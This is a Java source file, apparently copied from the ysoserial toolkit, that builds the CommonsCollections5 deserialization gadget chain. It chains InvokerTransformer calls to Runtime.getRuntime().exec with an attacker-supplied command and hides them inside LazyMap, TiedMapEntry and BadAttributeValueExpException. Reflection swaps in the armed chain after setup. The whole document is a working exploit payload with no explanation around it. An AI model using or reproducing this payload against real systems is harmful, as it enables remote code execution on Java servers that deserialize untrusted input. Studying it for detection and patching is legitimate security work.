CommonsCollections5.java 文件源码

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, entry);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return val;
}